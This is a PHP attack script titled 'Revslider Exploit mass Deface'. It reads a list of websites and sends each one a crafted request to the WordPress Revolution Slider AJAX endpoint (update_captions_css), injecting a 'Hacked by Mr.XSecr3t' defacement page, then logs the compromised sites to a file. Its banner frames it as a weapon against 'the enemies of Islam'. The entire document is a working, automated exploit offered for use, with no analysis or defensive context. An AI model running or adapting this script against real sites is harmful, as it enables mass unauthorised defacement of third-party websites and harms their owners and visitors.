Revslider Exploit mass Deface

<?php
	echo "\n+-------------------------------------------+\n";
	echo "|          C0d3d By Mr.XSecr3t                 |\n";
	echo "| This tool made-to fight the enemies of Islam |\n";
	echo "+-------------------------------------------+\n";

$gv=@file_get_contents($argv[1]);
    $exv=explode("\r\n",$gv);
    echo "\n\t Total site loaded : ".count($exv)."\n\n";
    foreach($exv as $url){
      echo "\n[+]Scaning : $url \n";
      dr($url);
    }
  function dr($site){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://".$site."/wp-admin/admin-ajax.php");
    curl_setopt($ch, CURLOPT_USERAGENT, $agent);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, array("action" => "revslider_ajax_action", "client_action" => "update_captions_css", "data" => "<body style='color: transparent;background-color: black'><center><h1><b style='color: green'>Hacked by Mr.XSecr3t <p style='color: transparent'>"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    $result = curl_exec($ch);
	    if (eregi('true', $result)) {
		echo "| wait ......\n";
		echo "| Success DiDeface Cuwk :v Check!\n";
        echo "| Link Index: http://".$site . "/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css";
		$fo = fopen("finish.txt","a+");
	    $r = fwrite($fo,"http://".$site."/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css\r\n");
	    fclose($fo);
    } else {
        echo "| http://".$site . " : Bukan Revslider nih :( cari Yang Bener cuwk ! \n\n";
    }
    curl_close($ch);
	}
?>